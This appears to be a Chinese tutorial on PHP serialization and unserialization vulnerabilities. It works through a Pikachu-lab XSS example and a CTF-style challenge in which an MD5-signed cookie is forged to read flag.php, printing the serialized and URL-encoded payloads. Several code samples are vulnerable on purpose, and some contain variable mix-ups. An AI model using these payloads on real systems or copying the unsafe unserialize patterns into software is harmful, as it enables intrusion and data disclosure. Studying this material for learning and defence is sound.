===
【比较 数值相等、类型相等】
==
【比较,数值相等】
=
【赋值 赋予数值】
=>
【键值分离】
->
【类里面的方法调用或者传参】
序列化: 游戏的存档 —— 把当前的状态保存下来
反序列化: 游戏的读档 —— 通过保存下来的信息恢复到当初的状态
序列化 (serialize
)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
简单的理解:将PHP
中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
<meta charset='UTF-8' />
<?php
show_source(__FILE__); //高亮显示文件内容,__FILE__为php中的文件常量
class ab{ //class 类名
var $test ='123'; //$test=123 变量的赋值,var为数据类型
}
$class = new a; //初始化对象
$class1_ser = serialize($class1);
print_r("
".$class1_ser);
?>
不只对象,数组、变量均可以序列化。
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
反序列化特点:
php
在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾,这会造成随便在序列化数据后添加一些无用字符,反序列化的时候也会被忽略,因为遇到了;}
会忽略后面的字符;unserialize
根据长度判断内容,长度不对应的时候会报错;所有php
里面的值都可以使用函数serialize()
来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符 (即“S”)
S:对象的名称
1:代表对象里面有一个变量
s:数据类型 (string 字符串)
4:变量名称的长度
test:变量名称
s:数据类型 (pikachu 同样为字符串string)
7:变量值的长度
pikachu:变量值
对于对象,序列化后的格式为:
O:strlen(类名):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
其他类型的数据序列化后的格式为:
String
类型 :s:size:value
Integer
类型 :i:value
Boolean
类型 :b:value
(保存1
或0
)
Null
型 :N
Array
:a:size:{keydefinition;value definition}
还有需要注意的点是:分割不同字段}
结尾,这对反序列化很重要
就是把被序列化的字符串还原为对象,转换为php
的值,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP
中的魔法函数,就会导致安全问题.
CMS
改一改, 他们在开发的时候很多时候并不清楚底层的魔术方法和函数有哪些,为了开发方便都会写一起。 常见的几个魔法函数: //不同场景下被自动调用
__construct()当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的。(构造函数)
__destruct()当对象被销毁时会自动调用。(析构函数)
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 在反序列化时立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test; //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销毁时,则下面的操作会被自动执行
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload【有效攻击负载,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码】:O:1:"S":1:{s:4:"test";s:29:"";}
反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台检测到会对内容进行反序列化,则通过反序列化的接口造成XSS
漏洞【XSS
漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入
,进而篡改网页,插入恶意脚本,从而控制用户浏览的一种攻击。】
反序列化漏洞一般需要代码审计来进行测试,扫描或者黑盒测试【在测试时,把程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况下,测试者在程序接口进行测试,它只检查程序功能是否按照需求规格说明书的规定正常使用,程序是否能适当地接收输入数据而产生正确的输出信息,并且保持外部信息(如数据库或文件)的完整性,】很难发现这个漏洞。
源码:
O:1:"S":1:{s:4:"test";s:29:"";}
变量$s
从url
中test
参数获取到内容,并且在反序列化的时候通过__destruct()
直接将传入的数据(恶意的javascript
)不经过任何处理,echo
出来,这里就构造了xss
漏洞。当脚本结束运行时,所有的对象都会销毁,就会自动调用__destruct
方法。我们输入正确的反序列化的payload
内容,则会弹出xss
窗口。
<?php
Class readme{
public function __toString() //__toString():echo打印对象体时会直接调用
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:定义了变量source,但是没有赋值
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__; //给变量source赋值__FILE__
echo $s; //$s->source = flag.php才会得到flag
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos']; //$c=$h.$m
$h = substr($c, 0, 32); //字符串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c
$m = substr($c, 32); //字符串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(md5($m) === $h){
$todos = unserialize($m); //因为下面$todos为数组输出,因此,反序列化后的$m也应该为数组
}
}
cookie传参:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //$todos为数组,foreach遍历数组
<li><?=$todo?></li> // <?php echo$todo; ?>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
cookie
传参为todos=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
,但因为是cookie
传参,所以需要进行url
编码,【Cookie
和 GET
一样,传参需要URL编码(burp
不会自动编码)】最终为e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
。